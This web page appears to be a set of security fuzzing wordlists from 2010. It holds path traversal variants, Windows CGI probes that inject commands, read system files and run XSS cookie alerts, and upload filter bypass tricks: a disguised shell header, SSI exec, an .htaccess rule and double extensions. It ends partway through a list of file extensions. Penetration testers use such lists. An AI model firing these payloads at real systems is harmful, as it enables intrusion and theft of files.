%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> ///%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> \\\%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..//{FILE}<br /> ..//..//{FILE}<br /> ..//..//..//{FILE}<br /> ..//..//..//..//{FILE}<br /> ..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//..//{FILE}<br /> ..///{FILE}<br /> ..///..///{FILE}<br /> ..///..///..///{FILE}<br /> ..///..///..///..///{FILE}<br /> ..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///..///{FILE}<br /> ..\\{FILE}<br /> ..\\..\\{FILE}<br /> ..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\\{FILE}<br /> ..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ./\/./{FILE}<br /> ./\/././\/./{FILE}<br /> ./\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> .\/\.\{FILE}<br /> .\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\..\{FILE}<br /> ./../{FILE}<br /> ./.././../{FILE}<br /> ./.././.././../{FILE}<br /> ./.././.././.././../{FILE}<br /> ./.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././.././../{FILE}<br /> .\..\{FILE}<br /> .\..\.\..\{FILE}<br /> .\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .//..//{FILE}<br /> .//..//.//..//{FILE}<br /> .//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .\\..\\{FILE}<br /> .\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> ../{FILE}<br /> ../..//{FILE}<br /> ../..//../{FILE}<br /> ../..//../..//{FILE}<br /> ../..//../..//../{FILE}<br /> ../..//../..//../..//{FILE}<br /> ../..//../..//../..//../{FILE}<br /> ../..//../..//../..//../..//{FILE}<br /> ..\{FILE}<br /> ..\..\\{FILE}<br /> ..\..\\..\{FILE}<br /> ..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\{FILE}<br /> ..///{FILE}<br /> ../..///{FILE}<br /> ../..//..///{FILE}<br /> ../..//../..///{FILE}<br /> ../..//../..//..///{FILE}<br /> ../..//../..//../..///{FILE}<br /> ../..//../..//../..//..///{FILE}<br /> ../..//../..//../..//../..///{FILE}<br /> ..\\\{FILE}<br /> ..\..\\\{FILE}<br /> ..\..\\..\\\{FILE}<br /> ..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\\{FILE}<br /> &lt;/pre&gt;<br /> <br /> === Common Windows CGI (Update: 17 March 2010 - Total Statements: 76) ===<br /> &lt;pre&gt;# Common Windows CGI (Update: 17 March 2010)<br /> # fuzz inside executable directories<br /> # on windows, this is usually /scripts or /cgi-bin<br /> # adam.muntner@quietmove.com<br /> <br /> cart32.exe<br /> get32.exe<br /> visadmin.exe<br /> foxweb.exe<br /> webplus.exe?about<br /> fpsrvadm.exe<br /> MsmMask.exe<br /> cmd.exe?/c+dir<br /> cmd1.exe?/c+dir<br /> post32.exe|dir%20c:\\<br /> cgitest.exe<br /> hpnst.exe?c=p+i=<br /> Pbcgi.exe<br /> testcgi.exe<br /> webfind.exe?keywords=01234567890123456789<br /> redir.exe?URL=http%3A%2F%2Fwww%2Egoogle%2Ecom%2F%0D%0A%0D%0A%3C<br /> test-cgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> athcgi.exe?command=showpage&amp;script='],[0,0]];alert('Vulnerable');a=[['<br /> mkilog.exe<br /> mkplog.exe<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> perl.exe?-v<br /> perl.exe<br /> ppdscgi.exe<br /> c32web.exe/ChangeAdminPassword<br /> windmail.exe<br /> dbmlparser.exe<br /> cgimail.exe<br /> minimal.exe<br /> rguest.exe<br /> visitor.exe<br /> webbbs.exe<br /> wguest.exe<br /> /_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15<br /> cfgwiz.exe<br /> Cgitest.exe<br /> mailform.exe<br /> post16.exe<br /> imagemap.exe<br /> htimage.exe/path/filename?2,2<br /> htimage.exe<br /> Webnews.exe<br /> texis.exe/junk<br /> apexec.pl?etype=odp&amp;template=../../../../../../../../../../etc/passwd%00.html&amp;passurl=/category/<br /> sensepost.exe?/c+dir<br /> testcgi.exe<br /> testcgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> ion-p.exe?page=c:\winnt\repair\sam<br /> ../../../../../../../../../../WINNT/system32/ipconfig.exe<br /> NUL/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> PRN/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> c32web.exe/GetImage?ImageName=CustomerEmail.txt%00.pdf <br /> foxweb.dll<br /> wconsole.dll<br /> shtml.dll<br /> scripts/slxweb.dll/getfile?type=Library&amp;file=[invalid filename]<br /> rightfax/fuwww.dll/?<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%20Hacker@hax0r.com%20|%20dir%20c:\\<br /> GW5/GWWEB.EXE<br /> GW5/GWWEB.EXE?GET-CONTEXT&amp;HTMLVER=AAA<br /> GW5/GWWEB.EXE?HELP=bad-request<br /> GWWEB.EXE?HELP=bad-request<br /> echo.bat<br /> echo.bat?&amp;dir+c:\\<br /> hello.bat?&amp;dir+c:\\<br /> input.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> input2.bat?|dir<br /> input2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> test-cgi.bat<br /> test.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> tst.bat|dir%20..\\..\\..\\..\\..\\..\\..\\..\\,<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass (Update: 17 March 2010 - notes only) ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htaccess in an upload folder on Apache httpd, try setting .jpg to executable. If you can set the target directory, try fuzz the list of all dirs you've enumerated on the servers, and try the commonly writable directory fuzzfile.<br /> #<br /> # example .htaccess that sets mime type .jpg to be executable:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass - Generic (Update: 6 April 2010) ===<br /> &lt;pre&gt;# adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass - PHP Specific (Update: 6 April 2010) ===<br /> &lt;pre&gt;# adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # <br /> # Another test: use exiftool http://www.sno.phy.queensu.ca/~phil/exiftool/ to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar <br /> # PHP on Windows<br /> {PHPSCRIPT}.php::$DATA<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass - Microsoft Specific (Update: 6 April 2010) ===<br /> &lt;pre&gt;# adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # <br /> # Another test: use exiftool http://www.sno.phy.queensu.ca/~phil/exiftool/ to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar <br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 2) ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2010<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === PHP-Specific Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7) ===<br /> &lt;pre&gt;# PHP-Specific File Upload Filter Bypass Appends (Update: 17 March 2010 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> <br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> {PHPSCRIPT}.php.doc<br /> {PHPSCRIPT}.php.xls<br /> {PHPSCRIPT}.php.xlsx<br /> {PHPSCRIPT}.php.pdf<br /> {PHPSCRIPT}.php.jpeg<br /> {PHPSCRIPT}.php.gif<br /> {PHPSCRIPT}.php.zip<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 14) ===<br /> &lt;pre&gt;# Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> <br /> === Commonly Writable Directories - For File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9) ===<br /> &lt;pre&gt;#Commonly Writable Directories - For File Upload Filter Bypass - Filename Appends (Update: 17 March 2010) <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863) ===<br /> &lt;pre&gt;<br /> #Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> 